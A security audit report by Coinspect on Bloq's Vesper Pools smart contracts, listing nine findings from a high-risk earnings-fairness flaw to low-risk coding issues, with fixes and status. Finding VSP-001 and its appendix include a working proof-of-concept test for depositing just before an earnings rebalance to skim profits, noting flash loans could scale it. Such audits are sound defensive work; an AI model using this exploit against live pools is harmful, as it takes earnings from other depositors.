

# Vesper Pools Security Audit

# Smart Contract Audit Vesper Pools

Prepared for Bloq • September 2020

First Review v201230

## 1. Executive Summary

## 2. Introduction

## 3. Assessment

## 4. Summary of Findings

## 5. Remediations

## 6. Findings

VSP-001 No risk deposit can reap earnings accumulated in pool

VSP-002 Duplicated code in `_withdrawExcessDaiFromAave()`

VSP-003 Non-atomic Strategy update could leave pool in inconsistent state

VSP-004 CollateralManager and Strategy contracts keep access to pool funds after being updated

VSP-005 Deposit event missing

VSP-006 Outdated Solidity version

VSP-007 `adjustBuilderFee` missing `onlyOwner` modifier

VSP-008 `updateRebalanceFriction` does not check if pool is approved

VSP-009 `_beforeBurning` hook is never called

## 7. Conclusion

## 8. Disclaimer

## 9. Appendix I - VSP-001 Proof of Concept

# 1. Executive Summary

In August 2020, [Bloq](#) engaged [Coinspect](#) to perform a source code review of their new [Vesper](#) platform. The objective of the audit was to evaluate the security of the initial version of the smart contracts being developed.

The assessment was conducted on contracts from the Git repository at <https://github.com/bloqpriv/bpools>. The last version reviewed during this audit is commit 5535968b56296e84fbc11072c1e621fd72306172 from **September 16th**.

The following issues were identified during the assessment:

High Risk	Medium Risk	Low Risk
1	1	7

The high risk issue identified, VSP-001, allows users to profit without risking their funds as the rest of the users, breaking the pool's fairness expectation. The medium risk finding, VSP-004, is caused by missing the revocation of funds managing permissions of decommissioned contracts. Another issue, VSP-003, is related to configuration operations performed by the contract owner that could leave the pool inoperative in an unlikely scenario. The rest of the issues reported are related to smart contract coding best practices and do not represent an immediate risk.

In December 2020, Coinspect reviewed the fixes for each finding and updated their status accordingly.

The following report details the tasks performed and the vulnerabilities found during this audit.

## 2. Introduction

The focus of the audit was the initial implementation of the Vesper Pools smart contracts.

The audit started on September 14th and was conducted on the Git repository at <https://github.com/blogpriv/bpools>. The last commit reviewed during this engagement was 5535968b56296e84fbc11072c1e621fd72306172 from **September 16th**:

Commit 5535968b56296e84fbc11072c1e621fd72306172

Merge: 8539028 ed4317e

Author: Rohit Solia <rohit.solia@gmail.com>

Date: Wed Sep 16 18:01:24 2020 -0500

Merge pull request #111 from blogpriv/more-tests

Added more tests for vbtc pool

The scope of the audit was limited to the following Solidity source files, shown here with their sha256sum hash:

```
0bfbf8ab6f29fc4ec6fa667575c7dd4d4d319dd6e0743d9ee348e50dbd841fcc ./VETH.sol
0b7c2678e05d355ebe59976bb828e53f4c267b8abf6c9dc89e742237fa152890 ./VSPR.sol
6adba1e7f5d51afd2b2cd119b10f2460a497ffb7480833c602b0c01df2200aef ./VMANA.sol
c6cc055cae1d2b9a63760f93b80b4921d06c231c07a78338c41dcfcf6220f7e6 ./Pausable.sol
1cec6bfb89699fcfba4bb2e0e726d1a3def18646d651f58291d882a4a4d7e501 ./VTokenBase.sol
cfbbcd2d8728c1b5e7968070793c96fe5f961d7793f223dd5af17961cdc2c10d8 ./interfaces/ICollateralManager.sol
69fe41fa1fe706d52bcb05c1343f1718cfa0a355e5f05463d3187e070b7facc ./interfaces/IStrategyManager.sol
1d887e413f9204858f360f9183989508e16d29c0746a7d33bd01b3e6e24d728f ./interfaces/IVPool.sol
6561416da04440a8f07e190bda36bac539379b963266d25710876da9d8235b46 ./interfaces/IUniswapV2Router01.sol
8329d21f1abdfbfbc1424215a2e4a7c55c22b1eeb79cd347b97c58ccf0c3262e ./interfaces/IAave.sol
589f0e59c9b4551e34e7d060f4e0745a7886073f5fbd4e8ae01e9ef2c7ea9f5a ./interfaces/IToken.sol
fc216ce44fb2fb48649202d55c21617385b4ff91f305c87e546db128837787ae ./interfaces/IMakerDAO.sol
3e2dbcebbd37eeb18e7e5910d20e2b0b3ae5d1e82736712c6390465e9dd13418 ./interfaces/IUniswapV2Router02.sol
a0f142a61f03a82d247590916843139ab9f53044aec7dba92b5fe0892ea9810c ./AddressProvider.sol
71db9cdad6a7328f23d793affff958d9f435e17b8fc550d8259596e3fd689f42 ./AaveStrategy.sol
170d050ef976869b04c15d5487643a4a63672edc502862c454f9086a3e1320c ./PoolShareToken.sol
e64e768781763ecb06a5de8887d2974d95c2c0e0f92f8da0d97bd7857475cef4 ./VVSPR.sol
4124502ce34fedc735108ac03dff046d90d61e212a3d541f4f7e5925155109db ./VSPRStrategy.sol
d736bacc1b7df62e9d78a817ff0cc04caf5d02f801ff92b80a43c662b76fe51f ./Controller.sol
9eb35cfc9606d1b7af2bf63a807797903e3f56f3edce456bf5cad786a0a263dc ./VBTC.sol
b0045ed87fb560f0877530e5a9424b8fe76b9148d115fd5f04c37ad957cb2522 ./Migrations.sol
a2d934294fec6ee4f6a565ef9a5c4feaacbe94ce698cdd2ed0b2d70af99e18a ./CollateralManager.sol
```

These smart contracts interact with multiple other contracts deployed by other projects which were not part of this review such as: MakerDAO, Uniswap and AAVE. A full review comprising these interactions should be performed in order to fully assess the security of the project.

### 3. Assessment

Vesper's end goal is to become an AI-driven resource management engine for the tokenized world. The code reviewed during this engagement implements crypto asset pools that enable users to generate earnings by supplying liquidity to existing 3rd party pools in the DeFi ecosystem.

The code reviewed is an initial implementation which is currently under active development and consists of three pools which handle different types of collateral deposits: ETH pool, WBTC pool and MANA pool. These deposits are in turn deposited by the pool in MakerDAO to generate the DAI stable coin. One investment strategy was included in the repository, which generates earnings by supplying DAI to AAVE.

For example, this is how the ETH pool works:

1. User deposits ETH and receives VETH (ERC20 tokens) representing his shares in the pool
2. The ETH is locked in MakerDAO, and a stablecoin DAI loan is created
3. This DAI is deposited in Aave, the ETH pool receives aDAI ERC20 tokens in exchange
4. A periodic rebalance (triggered off-chain) process is responsible for keeping the configured collateral ratio between MakerDAO and Aave. In case funds in Aave grow in excess of what is required, the rebalance mechanism takes this excess interest from Aave, swaps it for ETH with Uniswap and deposits it in MakerDAO.

The contracts compile without problems and only show a few harmless warnings in a couple contracts that were being developed during the audit. Coinspect observed a few comments in the source code indicating features and scenarios that are still not fully implemented.

The repository includes a set of tests for each contract. All tests pass. However, they only test basic functionality and it is recommended these are further expanded to include a wider range of case scenarios.

Several findings related to smart contracts coding best practices are included in this report, these can be easily fixed and will result in a better quality and easier to maintain source code. In this regard, Coinspect noticed the SafeMath library was being used in some contracts but not in all of them. There exist integer overflows in some functions (for example in PoolShareToken.sol) that are not currently exploitable because they end up reverting in some other contract or function. Coinspect suggests considering catching these integer overflows as soon as possible in order to prevent potential vulnerabilities in the future when new code is added.

As a side note, the Vesper development team clarified that regarding the smart contracts privileged roles, in the long term, are planned to be handled by a multisig contract. Logic will be added to the Controller contract that will allow time-locked stage changes to the system before they are applied.

## 4. Summary of Findings

ID	Description	Risk	Fixed
VSP-001	No risk deposit can reap earnings accumulated in pool	High	✗
VSP-002	Duplicated code in <code>_withdrawExcessDaiFromAave()</code>	Low	✓
VSP-003	Non-atomic Strategy update could leave pool in inconsistent state	Low	✓
VSP-004	CollateralManager and Strategy contracts keep access to pool funds after being updated	Medium	✓
VSP-005	Deposit event missing	Low	✓
VSP-006	Outdated Solidity version	Low	✗
VSP-007	<code>adjustBuilderFee</code> missing <code>onlyOwner</code> modifier	Low	✓
VSP-008	<code>updateRebalanceFriction</code> does not check if pool is approved	Low	✓
VSP-009	<code>_beforeBurning</code> hook is never called	Low	✓

## 5. Remediations

During December 2020 Coinspect verified the findings that Vesper decided to address had been correctly fixed.

The following table lists the findings that were fixed and the corresponding fix status and commit:

ID	Description	Status
VSP-001	No risk deposit can reap earnings accumulated in pool	Won't fix
VSP-002	Duplicated code in <code>_withdrawExcessDaiFromAave()</code>	Fixed 2ce9e399863dfa76c753e5186e8 14b9d87cbb962
VSP-003	Non-atomic Strategy update could leave pool in inconsistent state	Fixed 2221fbb1c0ff16ddf53d1dc476358 756612e14c1
VSP-004	CollateralManager and Strategy contracts keep access to pool funds after being updated	Fixed 2221fbb1c0ff16ddf53d1dc476358 756612e14c1
VSP-005	Deposit event missing	Fixed 0eb09b0241c5d7eb672a5dbffec2 439e8bd8dd21
VSP-006	Outdated Solidity version	Won't fix
VSP-007	<code>adjustBuilderFee</code> missing <code>onlyOwner</code> modifier	Fixed
VSP-008	<code>updateRebalanceFriction</code> does not check if pool is approved	Fixed 2ce9e399863dfa76c753e5186e8 14b9d87cbb962
VSP-009	<code>_beforeBurning</code> hook is never called	Fixed c415971f33a1e2152e7f61a52a9b 7bc09db07b3e

More detailed status information can be found in each finding.

## 6. Findings

VSP-001 No risk deposit can reap earnings accumulated in pool		
Total Risk <b>High</b>	Impact High	Location Agreement.sol
Fixed <b>X</b>	Likelihood High	

### Description

Vesper pools are designed to distribute earnings in proportion to the amount of collateral locked in a pool. However, when the tokens were deposited is not taken into account. This allows abusive users to play the distribution mechanism in their favour.

An attacker can wait until the pool deposits generate earnings and then make a deposit, call `rebalanceEarnings`, and withdraw his funds plus his cut of the earnings accumulated since the last rebalance without risk. A smart contract can perform these transactions atomically in order to guarantee success. Moreover, a flash loan could be utilized in order to make a deposit big enough to get most earnings accumulated.

This behavior is not fair to other members of the pool who previously locked funds in the pool and were exposed to more risk .

This is the output from a proof of concept test reproducing the attack described (the test source code be found in [8. Appendix I: VSP-001 Proof of Concept](#)):

```
0) acc0, acc1 and acc2 deposit 100000000000000000000 wei in the ETH pool
1) acc0 got veth pool 100000000000000000000 shares
1) acc1 got veth pool 100000000000000000000 shares
1) acc2 got veth pool 100000000000000000000 shares
2) pool gets rebalanced
3) chain advances 100 more blocks
4) pool gets rebalanced
5) chain advances 100 more blocks
```

```
6) after 200 blocks and 2 pool rebalances since first deposits, acc3 deposits same amount
100000000000000000000 wei
```

```
7) acc3 got veth pool 9999997617398931693 shares
8) acc3 requests earnings rebalance
9) acc3 withdraws all his shares
10) acc3 earned 9979789918550148294 wei
```

```
11) acc1 withdraws
```

```
12) acc1 earned 9897631301151831587 wei
```

```
=> tailgater investor earned 82158617398317060 wei more
```

```
✓ tailgater profits with deposit right before earning rebalance (74347ms)
```



In the log we observe how the attacker obtains immediate gains from the following sequence of calls:

1. `shares = pool.deposit(amount)`
2. `pool.rebalanceEarned()`
3. `pool.withdraw(shares)`

## Recommendation

Pool tokens should track the contribution to the pool and be used to distribute the share of the interests produced in the time period the liquidity was provided. The simplest way to do this in the context of the current design is to have the pool rebalance earnings before calculating shares when a new deposit is received. Another more complex way would be to distribute more shares for each depositor each time the earnings are rebalanced, keeping the value of the share constant.

## Status

The Vesper team decided not to fix this issue. The team explained they consider the gas cost and withdrawal fee are enough to offset the potential earnings. Also, the development team will run some simulations to further evaluate how this issue could affect high yield strategies and flash loan scenarios.

## VSP-002 Duplicated code in `_withdrawExcessDaiFromAave()`

Total Risk <b>Low</b>	Impact Low	Location AaveStrategy.sol
Fixed 	Likelihood Low	

### Description

The following code in function `_withdrawExcessDaiFromAave` is duplicated:

```
function _withdrawExcessDaiFromAave(
    uint256 base,
    address daiAddress,
    address pool
) internal {
    AaveToken aToken = AaveToken(getStrategyTokenAddress(daiAddress));
    uint256 balance = aToken.balanceOf(pool);
    if (balance > base) {
        uint256 amt = balance.sub(base);
        aToken.transferFrom(pool, address(this), amt);
        aToken.redeem(balance.sub(base));
    }
}
```

It is preferable to avoid duplicating code in order to make the source code easier to read and maintain, save gas, and prevent future vulnerabilities that could result from modifying one statement while leaving the duplicated one intact by mistake.


### Recommendation

Reuse the `amt` variable when calling `redeem`.

### Status

This issue was fixed in commit `2ce9e399863dfa76c753e5186e814b9d87cbb962`.

## VSP-003 Non-atomic Strategy update could leave pool in inconsistent state

Total Risk <b>Low</b>	Impact Low	Location Controller.sol
Fixed 	Likelihood Low	

### Description

The Controller contract is able to update pools' strategies and collateral managers on-the-fly. However, these updates operations are implemented in different ways. Unlike the function `updatePoolCM` which calls the pool's `registerCollateralManager` function with the new collateral manager itself, the `updatePoolStrategy` function requires a second transaction to call the pool's `approveToken` function before the new strategy is operative.

The `updatePoolStrategy` function below does not approve the new strategy with the ERC20 token (DAI in this case) it will be responsible for managing.

```
function updatePoolStrategy(address _pool, address _newStrategy) external onlyOwner {
    require(isPool[_pool], "Pool not approved");
    require(_newStrategy != address(0), "invalid-address");
    require(poolStrategy[_pool] != _newStrategy, "same-pool-logic");
    poolStrategy[_pool] = _newStrategy;
}
```

The `updatePoolCM` function instead, registers the new collateral manager with the pool itself after updating the controller:

```
function updatePoolCM(address _pool, address _newCM) external onlyOwner {
    require(isPool[_pool], "Pool not approved");
    require(_newCM != address(0), "invalid-address");
    require(poolCollateralManager[_pool] != _newCM, "same-cm");
    poolCollateralManager[_pool] = _newCM;
    IVPool vpool = IVPool(_pool);
    vpool.registerCollateralManager(_newCM);
}
```

Any transaction requiring managing funds from Aave (e.g., pool withdrawals and collateral/earnings rebalancing) that is mined between the strategy update and the `approveTokens` call will revert.

In case the `approveToken` transaction is not mined (for example because of transaction pool congestion, gas spike, etc) the pool will be left inoperative until the situation subsides.


## Recommendation

Although it is unlikely that the scenario described above could result in a permanent denial of service, Coinspect recommends updating the pool strategy in an atomic way to avoid any potential inconveniences.

## Status

This issue was fixed in commit `2221fbb1c0ff16ddf53d1dc476358756612e14c1`.

## VSP-004 CollateralManager and Strategy contracts keep access to pool funds after being updated

Total Risk <b>Medium</b>	Impact High	Location Controller.sol
Fixed 	Likelihood Low	

### Description

When the owner of the Controller contract updates a pool Strategy or Collateral Manager, they are simply updated in the corresponding mapping.

```
function updatePoolCM(address _pool, address _newCM) external onlyOwner {
    require(isPool[_pool], "Pool not approved");
    require(_newCM != address(0), "invalid-address");
    require(poolCollateralManager[_pool] != _newCM, "same-cm");
    poolCollateralManager[_pool] = _newCM;
    IVPool vpool = IVPool(_pool);
    vpool.registerCollateralManager(_newCM);
}

function updatePoolStrategy(address _pool, address _newStrategy) external onlyOwner {
    require(isPool[_pool], "Pool not approved");
    require(_newStrategy != address(0), "invalid-address");
    require(poolStrategy[_pool] != _newStrategy, "same-pool-logic");
    poolStrategy[_pool] = _newStrategy;
}
```

However, the access to funds these contracts were granted (funds deposited in MakerDAOs vaults, DAI, aDAI, pool token) are not revoked. The following functions approveToken and registerCollateralManager are responsible for enabling the Strategy and CollateralManager contracts to manage the pool funds:

```
function approveToken() public virtual {
    StrategyManager sm = StrategyManager(controller.poolStrategy(address(this)));
    address cm = controller.poolCollateralManager(address(this));
    IERC20 dai = IERC20(controller.ap().daiAddress());
    IERC20 aDai = IERC20(sm.getStrategyTokenAddress(address(dai)));
    dai.approve(cm, uint256(-1));
    aDai.approve(address(sm), uint256(-1));
    token.approve(address(sm), uint256(-1));
    token.approve(cm, uint256(-1));
}
```

```

function registerCollateralManager(address _cm) public {
    require(_msgSender() == address(controller), "Not a controller");
    ManagerInterface manager = ManagerInterface(controller.ap().mcdManager());
    //hope and cpdAllow on vat for collateralManager's address
    VatInterface(manager.vat()).hope(_cm);
    manager.cdpAllow(vaultNum, _cm, 1);

    //Register vault with collateral Manager
    ICollateralManager(_cm).registerVault(vaultNum, collateralType);
}

```

Note how unlimited access to funds is granted in the code excerpts above.

Even though the Strategy and CollateralManager contracts are considered trusted, it would be safer to revoke their ability to manage funds once they are decommissioned. This could prove important for example in a scenario where the owner of a Strategy or CollateralManager contract has its private key compromised and the platform controller updates the pool to remove them. It is worth noting that neither the Strategy nor CollateralManager contracts that were available during this review could be exploited in this fashion as their owner has no way to alter their behaviour nor trigger moving of funds. However, this could be the case in a future Strategy and/or CollateralManager added to the platform.


## Recommendation

Revoke access to funds when a pool's Strategy and/or CollateralManager is updated.

## Status

This issue was fixed in commit 2221fbb1c0ff16ddf53d1dc476358756612e14c1.

## VSP-005 Deposit event missing

Total Risk <b>Low</b>	Impact Low	Location PoolShareToken.sol
Fixed 	Likelihood Low	

### Description

The `_deposit` function does not emit a logging event after processing a successful transaction. However, the `_withdraw` function does emit the corresponding event.

```
function _deposit(uint256 amount) internal whenNotPaused {
    require(amount > 0, "Deposit must be greater than 0");

    uint256 _totalSupply = totalSupply();
    uint256 _totalValue = totalValue().sub(msg.value);
    uint256 shares = (_totalSupply == 0 || _totalValue == 0)
        ? amount
        : amount.mul(_totalSupply).div(_totalValue);

    _beforeMinting(amount);

    _mint(_msgSender(), shares);
}

event Withdraw(address owner, uint256 shares, uint256 amount);

/**
 * @dev Burns tokens and returns the collateral value, after fee, of those.
 */
function _withdraw(uint256 shares) internal whenNotShutdown {
    require(shares > 0, "Withdraw must be greater than 0");
    uint256 sharesAfterFee = _handleFee(shares);
    uint256 amount = sharesAfterFee.mul(totalValue()).div(totalSupply());
    _burn(_msgSender(), sharesAfterFee);
    _afterBurning(amount);
    emit Withdraw(_msgSender(), shares, amount);
}
```

### Recommendation

Coinspect recommends emitting events for each user initiated action in order to improve off-chain processing capabilities of tools analysing the platform's events such as: analytics, auditing, 3rd party data feeds, integrated external DeFi platforms, etc.

### Status

This issue was fixed in commit [0eb09b0241c5d7eb672a5dbffec2439e8bd8dd21](#).



## VSP-006 Outdated Solidity version

Total Risk

Low

Fixed



Impact

Low

Likelihood

High

Location

Most contracts in the repository

### Description

Most contracts reviewed during the assessment are specified to be compiled with Solidity version 0.6.6 at least:

```
pragma solidity ^0.6.6;
```

The builder scripts also specify to use solc 0.6.6 at least:

```
solc: {  
  version: '^0.6.6',  
  optimizer: {  
    enabled: true,  
    runs: 200 // Optimize for how many times you intend to run the code  
  }  
}
```

The latest Solidity version available is 0.7.1, 0.6.6 is outdated, and doesn't contain all the checks included in the latest versions. The newer versions include changes to the language that render it safer, preventing some mistakes that could lead to security-relevant bugs. Also, bug fixes in Solidity are not backported, so it is always recommended to upgrade all code to be compatible with Solidity v.0.7.0.

### Recommendation

Upgrade the contracts to the newest version of Solidity if possible.


The [solidity-upgrade tool](#) can help to semi-automatically upgrade contracts to breaking language changes. While solidity-upgrade carries out a large part of the work, the contracts will most likely need further manual adjustments. A guide on how to update the code to Solidity version 0.7.0 can be found at [How to update your code](#).

For a list of changes introduced for each Solidity version see [Releases · ethereum/solidity · GitHub](#).

### Status

The Vesper team decided not to fix this issue.

## VSP-007 adjustBuilderFee missing onlyOwner modifier

Total Risk <b>Low</b>	Impact Low	Location Controller.sol
Fixed 	Likelihood Low	

### Description

The adjustBuilderFee function is declared as public, allowing anybody to call it.

```
function adjutBuilderFee(uint256 _builderFee) public {  
    // TODO: Public function for time based logic to reduce builder fee  
}
```

This function is not currently implemented so it does not represent a risk right now.


### Recommendation

Add the onlyOwner modifier to the function declaration.

### Status

This adjustBuilderFee function was removed.

## VSP-008 updateRebalanceFriction does not check if pool is approved

Total Risk <b>Low</b>	Impact Low	Location Controller.sol
Fixed 	Likelihood Low	

### Description

The updateRebalanceFriction function allows setting the balance friction to a pool that has not been approved yet:

```
function updateRebalanceFriction(address _pool, uint256 _f) public onlyOwner {  
    require(rebalanceFriction[_pool] != _f, "same-friction");  
    rebalanceFriction[_pool] = _f;  
}
```

### Recommendation

Add the following code to the function to ensure the pool is approved before modifying the rebalance friction configuration:

```
require(isPool[_pool], "Pool not approved");
```

### Status

This issue was fixed in commit [2ce9e399863dfa76c753e5186e814b9d87cbb962](#).

## VSP-009 `_beforeBurning` hook is never called

Total Risk <b>Low</b>	Impact Low	Location PoolShareToken.sol
Fixed 	Likelihood Low	

### Description

Unlike the `_beforeMinting` and the `_afterBurning` hooks that are called as expected, the `_beforeBurning` function is never called.

```
/**
 * @dev Hook that is called just before burning tokens. To be used i.e. if
 * the ETH is stored in a different contract and must be withdraw from there
 * first.
 */
function _beforeBurning(uint256 shares) internal virtual {}

/**
 * @dev Burns tokens and returns the collateral value, after fee, of those.
 */
function _withdraw(uint256 shares) internal whenNotShutdown {
    require(shares > 0, "Withdraw must be greater than 0");
    uint256 sharesAfterFee = _handleFee(shares);
    uint256 amount = sharesAfterFee.mul(totalValue()).div(totalSupply());
    _burn(_msgSender(), sharesAfterFee);
    _afterBurning(amount);
    emit Withdraw(_msgSender(), shares, amount);
}
```

### Recommendation

Invoke the hook before burning tokens as documented in the source code.

### Status

This issue was fixed in commit `c415971f33a1e2152e7f61a52a9b7bc09db07b3e`.

## 7. Conclusion

Overall, the reviewed code can be improved in several aspects as suggested in this report, including:

- Unresolved TODO comments in the source code related to missing functionality, including handling of unexpected funds, liquidity provider interest below stability fees, etc.
- A more thorough set of tests involving multiple users, several operations, edge cases and failures in transactions with external components
- Earnings distribution fairness

Because of time constraints, only the most obvious scenarios were fully evaluated and several others still require further attention, including: financial calculations, rounding errors and potential reentrancy from 3rd party contracts.

It is important to note that the security of the pools will depend heavily on its interactions with the external DeFi smart contracts and platforms utilized by Vesper such as:

- 3rd party liquidity providers integrated in the future
- Aave
- Uniswap
- MakerDAO

The complexity added by these components implies an elevated risk, and for that reason Coinspect suggests a full assessment of the system is performed before deployment to mainnet. It is also recommended that the first releases allow only to manage a limited amount of funds.

## 8. Disclaimer

The information presented in this document is provided as is and without warranty. Vulnerability assessments are a “point in time” analysis and as such it is possible that something in the environment could have changed since the tests reflected in this report were run. This report should not be considered a perfect representation of the risks threatening the analysed system, networks, and applications.

## 9. Appendix I - VSP-001 Proof of Concept

```
it('tailgater profits with deposit right before earning rebalance', async function () {
  const depositAmount = new BN(10).mul(DECIMAL).toString()
  console.log("0) acc0, acc1 and acc2 deposit", depositAmount, "wei in the ETH pool")
  await Promise.all([
    veth.deposit({ value: depositAmount, from: accounts[0] }),
    veth.deposit({ value: depositAmount, from: accounts[1] }),
    veth.deposit({ value: depositAmount, from: accounts[2] }),
  ])
  const vBalance0 = (await veth.balanceOf(accounts[0])).toString()
  const vBalance1 = (await veth.balanceOf(accounts[1])).toString()
  const vBalance2 = (await veth.balanceOf(accounts[2])).toString()
  console.log("1) acc0 got veth pool", vBalance0, "shares")
  console.log("1) acc1 got veth pool", vBalance1, "shares")
  console.log("1) acc2 got veth pool", vBalance2, "shares")

  console.log("2) pool gets rebalanced")
  await veth.rebalance()

  console.log("3) chain advances 100 more blocks")
  await generateBlocks(100)

  console.log("4) pool gets rebalanced")
  await veth.rebalance()

  console.log("5) chain advances 100 more blocks")
  await generateBlocks(100)

  // attacker deposits 200 blocks after other guys
  console.log("\n6) after 200 blocks and 2 pool rebalances since first deposits,
    acc3 deposits same amount", depositAmount, "wei")
  await veth.deposit({ value: depositAmount, from: accounts[3] })
  const vBalance3 = (await veth.balanceOf(accounts[3])).toString()
  console.log("7) acc3 got veth pool", vBalance3, "shares")
  console.log("8) acc3 requests earnings rebalance")
  await veth.rebalanceEarned({from:accounts[3]})

  // attacker withdraws all his shares and makes more than previous deposit owners
  console.log("9) acc3 withdraws all his shares")
  const ethBalanceBefore3 = await web3.eth.getBalance(accounts[3])
  await veth.withdraw(vBalance3, {from: accounts[3]})
  const ethBalanceAfter3 = await web3.eth.getBalance(accounts[3])
  const earned3 = new BN(ethBalanceAfter3).sub(new BN(ethBalanceBefore3))
  console.log("10) acc3 earned", earned3.toString(), "wei")
})
```

```

// guy made deposit 200 blocks before attacker makes less
console.log("\n11) acc1 withdraws")
const ethBalanceBefore1 = await web3.eth.getBalance(accounts[1])
await veth.withdraw(depositAmount, {from: accounts[1]})
const ethBalanceAfter1 = await web3.eth.getBalance(accounts[1])
const earned1 = new BN(ethBalanceAfter1).sub(new BN(ethBalanceBefore1))
console.log("12) acc1 earned", earned1.toString(), "wei")

assert(earned3.gt(earned1), 'tailgater investor should (not) earn more')
console.log("=> tailgater investor earned", earned3 - earned1, "wei more")
})

```